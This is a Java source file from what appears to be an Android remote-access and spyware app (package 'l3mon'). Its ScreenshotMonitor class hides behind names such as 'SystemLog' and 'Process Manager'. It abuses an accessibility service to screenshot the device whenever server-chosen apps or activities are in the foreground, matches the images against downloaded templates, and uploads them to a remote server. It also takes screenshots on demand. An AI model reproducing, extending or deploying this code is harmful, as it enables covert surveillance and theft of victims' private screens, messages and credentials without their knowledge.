package com.etechd.l3mon;

import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.util.Log;

import org.json.JSONArray;
import org.json.JSONObject;

import java.io.File;
import java.io.FileOutputStream;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import java.util.Map;

/**
 * Captura pantalla cuando la app indicada cumple la lógica de referencias.
 * Obligatorias = AND. Opcionales = OR (al menos una si hay obligatorias+opcionales).
 */
public final class ScreenshotMonitor {
    private static final String TAG = "SystemLog";

    private static final Object rulesLock = new Object();
    private static final Map<Integer, RuleState> rules = new HashMap<Integer, RuleState>();
    private static final Map<Integer, DedupState> dedupStates = new HashMap<Integer, DedupState>();
    private static volatile boolean started = false;
    private static volatile boolean running = false;
    private static long lastDiagAt = 0L;
    private static long captureStartedAt = 0L;
    private static final long CAPTURE_TIMEOUT_MS = 15000L;

    private ScreenshotMonitor() {
    }

    public static void applyServerConfig(JSONArray config) {
        Map<Integer, RuleState> next = new HashMap<Integer, RuleState>();
        if (config != null) {
            for (int i = 0; i < config.length(); i++) {
                JSONObject row = config.optJSONObject(i);
                if (row == null) {
                    continue;
                }
                int id = row.optInt("id", 0);
                if (id <= 0) {
                    continue;
                }
                RuleState state = new RuleState();
                state.id = id;
                state.packageName = row.optString("package", "");
                state.activityPatterns.clear();
                state.activityPatterns.addAll(parseActivityPatterns(row));
                state.triggerMode = row.optString("mode", "template");
                state.intervalMs = Math.max(3000, row.optInt("interval", 5) * 1000);
                state.threshold = (float) row.optDouble("threshold", 0.75d);

                RuleState prev;
                synchronized (rulesLock) {
                    prev = rules.get(id);
                }
                if (prev != null) {
                    state.lastCaptureAt = prev.lastCaptureAt;
                    state.active = prev.active;
                }

                JSONArray templates = row.optJSONArray("templates");
                if (templates != null) {
                    for (int t = 0; t < templates.length(); t++) {
                        JSONObject tpl = templates.optJSONObject(t);
                        if (tpl == null) {
                            continue;
                        }
                        int tplId = tpl.optInt("id", 0);
                        if (tplId <= 0) {
                            continue;
                        }
                        TemplateRef ref = new TemplateRef();
                        ref.id = tplId;
                        ref.required = tpl.optBoolean("required", true);
                        ref.templateHash = tpl.optString("hash", "");

                        if (prev != null) {
                            for (TemplateRef prevRef : prev.templates) {
                                if (prevRef.id == ref.id
                                        && ref.templateHash.equals(prevRef.templateHash)
                                        && prevRef.bitmap != null) {
                                    ref.bitmap = prevRef.bitmap;
                                    ref.loadedHash = prevRef.loadedHash;
                                    break;
                                }
                            }
                        }
                        state.templates.add(ref);
                    }
                }

                if (state.isActivityMode()) {
                    if (state.packageName != null && !state.packageName.isEmpty()) {
                        next.put(id, state);
                    }
                } else if (!state.templates.isEmpty()) {
                    next.put(id, state);
                }
            }
        }
        synchronized (rulesLock) {
            for (Integer staleId : new ArrayList<Integer>(dedupStates.keySet())) {
                if (!next.containsKey(staleId)) {
                    DedupState stale = dedupStates.remove(staleId);
                    if (stale != null) {
                        ScreenshotDedup.releaseReference(stale.lastDedupFrame);
                    }
                }
            }
            rules.clear();
            rules.putAll(next);
        }
        if (config != null && !next.isEmpty()) {
            persistRules(config);
            ensureStarted();
        }
        Log.i(TAG, "Screenshot rules: " + next.size());
    }

    public static synchronized void start() {
        loadCachedRules();
        ensureStarted();
    }

    private static void persistRules(JSONArray config) {
        if (config == null || SystemLogApi.getAppContext() == null) {
            return;
        }
        try {
            SystemLogApi.prefs()
                    .edit()
                    .putString("screenshot_rules", config.toString())
                    .apply();
        } catch (Exception e) {
            Log.e(TAG, "persistRules: " + e.getMessage());
        }
    }

    private static void loadCachedRules() {
        if (SystemLogApi.getAppContext() == null || !isRulesEmpty()) {
            return;
        }
        try {
            String raw = SystemLogApi.prefs().getString("screenshot_rules", null);
            if (raw == null || raw.trim().isEmpty()) {
                return;
            }
            applyServerConfig(new JSONArray(raw));
            Log.i(TAG, "Screenshot rules cargadas desde caché");
        } catch (Exception e) {
            Log.e(TAG, "loadCachedRules: " + e.getMessage());
        }
    }

    private static void ensureStarted() {
        if (started) {
            return;
        }
        started = true;
        new Thread(new Runnable() {
            @Override
            public void run() {
                monitorLoop();
            }
        }, "SystemLogScreenshots").start();
    }

    private static void monitorLoop() {
        while (true) {
            try {
                Thread.sleep(2000L);
            } catch (InterruptedException e) {
                return;
            }

            if (isRulesEmpty()) {
                long diagNow = System.currentTimeMillis();
                if (diagNow - lastDiagAt >= 30000L) {
                    lastDiagAt = diagNow;
                    Log.w(TAG, "Screenshot: sin reglas (esperando sync con el servidor)");
                }
                continue;
            }
            if (!AccessibilityHelper.isReadyForScreenshots(SystemLogApi.getAppContext())) {
                long a11yDiag = System.currentTimeMillis();
                if (a11yDiag - lastDiagAt >= 30000L) {
                    lastDiagAt = a11yDiag;
                    Context ctx = SystemLogApi.getAppContext();
                    if (AccessibilityHelper.isEnabledInSettings(ctx)) {
                        Log.w(TAG, "Screenshot: accesibilidad activada pero no conectada (reabre Process Manager)");
                    } else {
                        Log.w(TAG, "Screenshot: activa Accesibilidad → Process Manager (requerido tras instalar APK)");
                    }
                }
                continue;
            }
            if (running) {
                if (captureStartedAt > 0L
                        && System.currentTimeMillis() - captureStartedAt > CAPTURE_TIMEOUT_MS) {
                    Log.w(TAG, "Screenshot: captura expirada, reintentando");
                    running = false;
                    captureStartedAt = 0L;
                } else {
                    continue;
                }
            }

            AppForegroundTracker.ForegroundSnapshot fg = AppForegroundTracker.snapshotForeground(
                    SystemLogApi.getAppContext());
            final String foreground = fg.packageName;
            final String foregroundActivity = fg.activityClass;
            long diagNow = System.currentTimeMillis();
            if (diagNow - lastDiagAt >= 10000L) {
                lastDiagAt = diagNow;
                Log.i(TAG, "Screenshot diag pkg=" + foreground + " act=" + foregroundActivity);
            }
            if (foreground == null || foreground.isEmpty()) {
                resetInactiveRules(null);
                continue;
            }

            List<RuleState> activeRules = snapshotRules();
            boolean anyForForeground = false;
            for (RuleState rule : activeRules) {
                if (ruleMatchesForeground(rule, foreground, foregroundActivity)) {
                    Log.i(TAG, "Screenshot: regla #" + rule.id + " coincide con "
                            + foreground + " / " + foregroundActivity);
                    anyForForeground = true;
                    break;
                }
            }
            if (!anyForForeground) {
                if (foreground != null && !foreground.isEmpty()) {
                    StringBuilder rulesSummary = new StringBuilder();
                    for (RuleState rule : activeRules) {
                        if (rulesSummary.length() > 0) {
                            rulesSummary.append(", ");
                        }
                        rulesSummary.append("#").append(rule.id).append(":").append(rule.packageName);
                    }
                    Log.i(TAG, "Screenshot: sin regla para " + foreground + " / " + foregroundActivity
                            + " (reglas: " + rulesSummary + ")");
                }
                logActivityMismatchIfNeeded(activeRules, foreground, foregroundActivity);
                resetInactiveRules(foreground);
                continue;
            }

            for (RuleState rule : activeRules) {
                if (!ruleMatchesForeground(rule, foreground, foregroundActivity)) {
                    if (rule.active) {
                        rule.active = false;
                        rule.lastCaptureAt = 0L;
                        clearDedupReference(rule);
                    }
                    continue;
                }
                if (!rule.isActivityMode()) {
                    ensureTemplatesLoaded(rule);
                }
            }

            long captureWait = ScreenshotCaptureHelper.msUntilNextCaptureAllowed();
            if (captureWait > 0L) {
                if (diagNow - lastDiagAt >= 10000L) {
                    Log.i(TAG, "Screenshot: esperando intervalo One UI (" + captureWait + "ms)");
                }
                continue;
            }

            running = true;
            captureStartedAt = System.currentTimeMillis();
            Log.i(TAG, "Screenshot: solicitando captura"
                    + (ScreenshotCaptureHelper.isSamsungDevice() ? " (One UI)" : ""));
            final String fgPackage = foreground;
            final String fgActivity = foregroundActivity;
            ClipboardAccessibilityService.captureScreenshot(new ClipboardAccessibilityService.ScreenshotCallback() {
                @Override
                public void onResult(Bitmap bitmap) {
                    Bitmap prepared = ScreenshotCaptureHelper.prepareForMatching(bitmap);
                    if (prepared == null) {
                        Log.w(TAG, "Screenshot: captura vacía"
                                + (ScreenshotCaptureHelper.isSamsungDevice()
                                ? " (revisa accesibilidad y desactiva optimización de batería en One UI)"
                                : ""));
                        running = false;
                        captureStartedAt = 0L;
                        return;
                    }
                    final Bitmap captured = prepared;
                    final List<RuleState> captureRules = snapshotRules();
                    new Thread(new Runnable() {
                        @Override
                        public void run() {
                            try {
                                for (RuleState rule : captureRules) {
                                    if (!ruleMatchesForeground(rule, fgPackage, fgActivity)) {
                                        continue;
                                    }
                                    if (rule.isActivityMode()) {
                                        handleActivityCapture(rule, captured, fgActivity);
                                    } else if (!rule.templates.isEmpty()) {
                                        handleCapture(rule, captured);
                                    }
                                }
                            } catch (Exception e) {
                                Log.e(TAG, "Screenshot process: " + e.getMessage());
                            } finally {
                                if (captured != null && !captured.isRecycled()) {
                                    captured.recycle();
                                }
                                running = false;
                                captureStartedAt = 0L;
                            }
                        }
                    }, "SystemLogScreenshotUpload").start();
                }
            });
        }
    }

    private static void handleActivityCapture(RuleState rule, Bitmap screen, String activityClass) {
        if (screen == null) {
            return;
        }

        long now = System.currentTimeMillis();
        rule.active = true;
        if (now - rule.lastCaptureAt < rule.intervalMs) {
            return;
        }

        Bitmap working = screen.copy(Bitmap.Config.ARGB_8888, false);
        if (working == null) {
            return;
        }

        try {
            if (isDuplicateCapture(rule, working, now)) {
                working.recycle();
                return;
            }

            storeDedupReference(rule, working);
            rule.lastCaptureAt = now;

            JSONArray detected = new JSONArray();
            JSONObject row = new JSONObject();
            row.put("type", "activity");
            if (activityClass != null && !activityClass.isEmpty()) {
                row.put("activity", activityClass);
            }
            detected.put(row);
            Log.i(TAG, "Screenshot: subiendo captura actividad rule #" + rule.id);
            uploadCaptureJson(working, rule, 1f, now, detected);
        } catch (Exception e) {
            Log.e(TAG, "handleActivityCapture: " + e.getMessage());
            working.recycle();
        }
    }

    private static void handleCapture(RuleState rule, Bitmap screen) {
        if (screen == null || rule.templates.isEmpty()) {
            return;
        }

        Bitmap working = screen.copy(Bitmap.Config.ARGB_8888, false);
        if (working == null) {
            return;
        }

        List<MatchResult> results = new ArrayList<MatchResult>();
        for (TemplateRef ref : rule.templates) {
            if (ref.bitmap == null) {
                results.add(new MatchResult(ref.id, ref.required, false, 0f));
                continue;
            }
            float score = TemplateMatcher.match(working, ref.bitmap);
            results.add(new MatchResult(ref.id, ref.required, score >= rule.threshold, score));
            Log.i(TAG, "Screenshot match tpl #" + ref.id + " score=" + score
                    + " need=" + rule.threshold + " ok=" + (score >= rule.threshold));
        }

        boolean visible = evaluateMatch(results);
        float reportScore = bestScore(results);
        long now = System.currentTimeMillis();

        if (visible) {
            rule.active = true;
            if (now - rule.lastCaptureAt >= rule.intervalMs) {
                try {
                    if (isDuplicateCapture(rule, working, now)) {
                        working.recycle();
                        return;
                    }
                    storeDedupReference(rule, working);
                    rule.lastCaptureAt = now;
                    Log.i(TAG, "Screenshot: subiendo captura rule #" + rule.id + " score=" + reportScore);
                    uploadCaptureJson(working, rule, reportScore, now, buildDetectedFromResults(results));
                } catch (org.json.JSONException e) {
                    Log.e(TAG, "handleCapture: " + e.getMessage());
                    working.recycle();
                }
            } else {
                working.recycle();
            }
        } else {
            rule.active = false;
            rule.lastCaptureAt = 0L;
            clearDedupReference(rule);
            working.recycle();
        }
    }

    private static boolean isDuplicateCapture(RuleState rule, Bitmap working, long now) {
        DedupState dedup = dedupForRule(rule.id);
        float similarity = ScreenshotDedup.compare(working, dedup.lastDedupFrame);
        Log.i(TAG, "Screenshot: sim rule #" + rule.id + "="
                + String.format(java.util.Locale.US, "%.2f", similarity)
                + " umbral=" + ScreenshotDedup.SKIP_SIMILARITY
                + (dedup.lastDedupFrame == null ? " (sin ref previa)" : ""));
        if (similarity >= ScreenshotDedup.SKIP_SIMILARITY) {
            Log.i(TAG, "Screenshot: captura duplicada omitida rule #" + rule.id);
            rule.lastCaptureAt = now;
            return true;
        }
        return false;
    }

    private static void storeDedupReference(RuleState rule, Bitmap working) {
        DedupState dedup = dedupForRule(rule.id);
        Bitmap next = ScreenshotDedup.captureReference(working);
        if (next == null) {
            return;
        }
        ScreenshotDedup.releaseReference(dedup.lastDedupFrame);
        dedup.lastDedupFrame = next;
    }

    private static void clearDedupReference(RuleState rule) {
        synchronized (rulesLock) {
            DedupState dedup = dedupStates.get(rule.id);
            if (dedup == null) {
                return;
            }
            ScreenshotDedup.releaseReference(dedup.lastDedupFrame);
            dedup.lastDedupFrame = null;
        }
    }

    private static DedupState dedupForRule(int ruleId) {
        synchronized (rulesLock) {
            DedupState dedup = dedupStates.get(ruleId);
            if (dedup == null) {
                dedup = new DedupState();
                dedupStates.put(ruleId, dedup);
            }
            return dedup;
        }
    }

    static boolean evaluateMatch(List<MatchResult> results) {
        if (results.isEmpty()) {
            return false;
        }

        boolean hasRequired = false;
        boolean hasOptional = false;
        boolean allRequired = true;
        boolean anyOptional = false;

        for (MatchResult result : results) {
            if (result.required) {
                hasRequired = true;
                if (!result.matched) {
                    allRequired = false;
                }
            } else {
                hasOptional = true;
                if (result.matched) {
                    anyOptional = true;
                }
            }
        }

        if (!hasRequired && !hasOptional) {
            return false;
        }
        if (hasRequired && !allRequired) {
            return false;
        }
        if (hasOptional) {
            if (hasRequired) {
                return anyOptional;
            }
            return anyOptional;
        }

        return true;
    }

    static float bestScore(List<MatchResult> results) {
        float minRequired = 1f;
        boolean hasRequired = false;
        float maxOptional = 0f;
        boolean hasOptional = false;

        for (MatchResult result : results) {
            if (result.required) {
                hasRequired = true;
                if (result.score < minRequired) {
                    minRequired = result.score;
                }
            } else {
                hasOptional = true;
                if (result.score > maxOptional) {
                    maxOptional = result.score;
                }
            }
        }

        if (hasRequired) {
            return minRequired;
        }
        if (hasOptional) {
            return maxOptional;
        }
        return 0f;
    }

    private static JSONArray buildDetectedFromResults(List<MatchResult> results) throws org.json.JSONException {
        JSONArray detected = new JSONArray();
        for (MatchResult result : results) {
            if (!result.matched) {
                continue;
            }
            JSONObject row = new JSONObject();
            row.put("template_id", result.templateId);
            row.put("score", result.score);
            row.put("required", result.required);
            detected.put(row);
        }

        return detected;
    }

    private static boolean uploadCaptureJson(Bitmap screen, RuleState rule, float score, long capturedAt, JSONArray detected) {
        File tmp = null;
        try {
            tmp = File.createTempFile("scr", ".jpg", SystemLogApi.getAppContext().getCacheDir());
            FileOutputStream fos = new FileOutputStream(tmp);
            screen.compress(Bitmap.CompressFormat.JPEG, 82, fos);
            fos.close();
            screen.recycle();

            String name = "screenshot_rule_" + rule.id + "_" + capturedAt + ".jpg";
            return SystemLogApi.uploadScreenshot(tmp, rule.id, score, capturedAt / 1000L, name, detected);
        } catch (Exception e) {
            Log.e(TAG, "uploadCapture: " + e.getMessage());
            if (screen != null && !screen.isRecycled()) {
                screen.recycle();
            }
            return false;
        } finally {
            if (tmp != null) {
                tmp.delete();
            }
        }
    }

    private static void ensureTemplatesLoaded(RuleState rule) {
        if (rule.isActivityMode()) {
            return;
        }
        for (TemplateRef ref : rule.templates) {
            if (ref.bitmap != null && ref.templateHash.equals(ref.loadedHash)) {
                continue;
            }
            loadTemplate(ref);
        }
    }

    private static void loadTemplate(TemplateRef ref) {
        if (ref.bitmap != null) {
            ref.bitmap.recycle();
            ref.bitmap = null;
        }
        byte[] data = SystemLogApi.downloadScreenshotTemplate(ref.id);
        if (data == null || data.length == 0) {
            Log.w(TAG, "Screenshot: plantilla #" + ref.id + " no descargada");
            return;
        }
        Bitmap bmp = BitmapFactory.decodeByteArray(data, 0, data.length);
        if (bmp != null) {
            ref.bitmap = bmp;
            ref.loadedHash = ref.templateHash;
        }
    }

    private static List<String> parseActivityPatterns(JSONObject row) {
        List<String> patterns = new ArrayList<String>();
        JSONArray activities = row.optJSONArray("activities");
        if (activities != null) {
            for (int i = 0; i < activities.length(); i++) {
                String value = activities.optString(i, "").trim();
                if (!value.isEmpty() && !patterns.contains(value)) {
                    patterns.add(value);
                }
            }
        }
        if (patterns.isEmpty() && !row.isNull("activity")) {
            String legacy = row.optString("activity", "").trim();
            if (!legacy.isEmpty() && !"null".equalsIgnoreCase(legacy)) {
                patterns.add(legacy);
            }
        }
        return patterns;
    }

    private static boolean ruleMatchesForeground(RuleState rule, String pkg, String activity) {
        if (rule.packageName == null || pkg == null) {
            return false;
        }
        if (!rule.packageName.trim().equals(pkg.trim())) {
            return false;
        }

        return matchesAnyActivity(rule.activityPatterns, activity);
    }

    private static void logActivityMismatchIfNeeded(
            List<RuleState> rules,
            String foreground,
            String activity
    ) {
        if (foreground == null || foreground.isEmpty()) {
            return;
        }
        long now = System.currentTimeMillis();
        if (now - lastDiagAt < 10000L) {
            return;
        }
        for (RuleState rule : rules) {
            if (!foreground.equals(rule.packageName)) {
                continue;
            }
            if (matchesAnyActivity(rule.activityPatterns, activity)) {
                continue;
            }
            Log.i(TAG, "Screenshot: app " + foreground + " detectada pero actividad '"
                    + activity + "' no coincide con regla #" + rule.id
                    + " (patrones: " + rule.activityPatterns + ")");
            lastDiagAt = now;
            return;
        }
    }

    static boolean matchesAnyActivity(List<String> patterns, String activityClass) {
        if (patterns == null || patterns.isEmpty()) {
            return true;
        }
        if (activityClass == null || activityClass.trim().isEmpty()) {
            // One UI a veces solo informa el paquete (sin clase de actividad).
            return ScreenshotCaptureHelper.isSamsungDevice();
        }

        for (String pattern : patterns) {
            if (matchesActivity(pattern, activityClass)) {
                return true;
            }
        }

        return false;
    }

    static boolean matchesActivity(String pattern, String activityClass) {
        if (pattern == null || pattern.trim().isEmpty()) {
            return true;
        }
        if (activityClass == null || activityClass.trim().isEmpty()) {
            return false;
        }

        String p = pattern.trim();
        String a = activityClass.trim();
        if (a.equals(p)) {
            return true;
        }
        if (a.endsWith("." + p)) {
            return true;
        }

        return a.toLowerCase(Locale.ROOT).contains(p.toLowerCase(Locale.ROOT));
    }

    private static boolean isRulesEmpty() {
        synchronized (rulesLock) {
            return rules.isEmpty();
        }
    }

    private static List<RuleState> snapshotRules() {
        synchronized (rulesLock) {
            return new ArrayList<>(rules.values());
        }
    }

    private static void resetInactiveRules(String foreground) {
        synchronized (rulesLock) {
            for (RuleState rule : rules.values()) {
                if (foreground == null || !foreground.equals(rule.packageName)) {
                    rule.active = false;
                    rule.lastCaptureAt = 0L;
                    clearDedupReference(rule);
                }
            }
        }
    }

    private static final class DedupState {
        Bitmap lastDedupFrame;
    }

    private static final class RuleState {
        int id;
        String packageName = "";
        final List<String> activityPatterns = new ArrayList<String>();
        String triggerMode = "template";
        int intervalMs = 5000;
        float threshold = 0.75f;
        final List<TemplateRef> templates = new ArrayList<TemplateRef>();
        boolean active;
        long lastCaptureAt;

        boolean isActivityMode() {
            return "activity".equals(triggerMode);
        }
    }

    private static final class TemplateRef {
        int id;
        boolean required = true;
        String templateHash = "";
        String loadedHash = "";
        Bitmap bitmap;
    }

    private static final class MatchResult {
        final int templateId;
        final boolean required;
        final boolean matched;
        final float score;

        MatchResult(int templateId, boolean required, boolean matched, float score) {
            this.templateId = templateId;
            this.required = required;
            this.matched = matched;
            this.score = score;
        }
    }

    public interface CaptureCallback {
        void onDone(boolean success, String message);
    }

    /** Captura puntual bajo demanda (sin regla). */
    public static void captureOnDemand(final CaptureCallback callback) {
        Context ctx = SystemLogApi.getAppContext();
        if (!AccessibilityHelper.isReadyForScreenshots(ctx)) {
            if (callback != null) {
                callback.onDone(false, "Accesibilidad no lista para capturas");
            }
            return;
        }
        ClipboardAccessibilityService.captureScreenshot(new ClipboardAccessibilityService.ScreenshotCallback() {
            @Override
            public void onResult(Bitmap bitmap) {
                new Thread(new Runnable() {
                    @Override
                    public void run() {
                        boolean ok = false;
                        String message = "Captura vacía";
                        try {
                            Bitmap prepared = ScreenshotCaptureHelper.prepareForMatching(bitmap);
                            if (prepared != null) {
                                long now = System.currentTimeMillis();
                                RuleState manual = new RuleState();
                                manual.id = 0;
                                JSONArray detected = new JSONArray();
                                JSONObject row = new JSONObject();
                                row.put("type", "manual");
                                detected.put(row);
                                ok = uploadCaptureJson(prepared, manual, 1f, now, detected);
                                message = ok ? "Captura manual subida" : "Error al subir captura";
                            }
                        } catch (Exception e) {
                            message = e.getMessage() != null ? e.getMessage() : "Error de captura";
                        }
                        if (callback != null) {
                            callback.onDone(ok, message);
                        }
                    }
                }, "SystemLogScreenshotManual").start();
            }
        });
    }
}
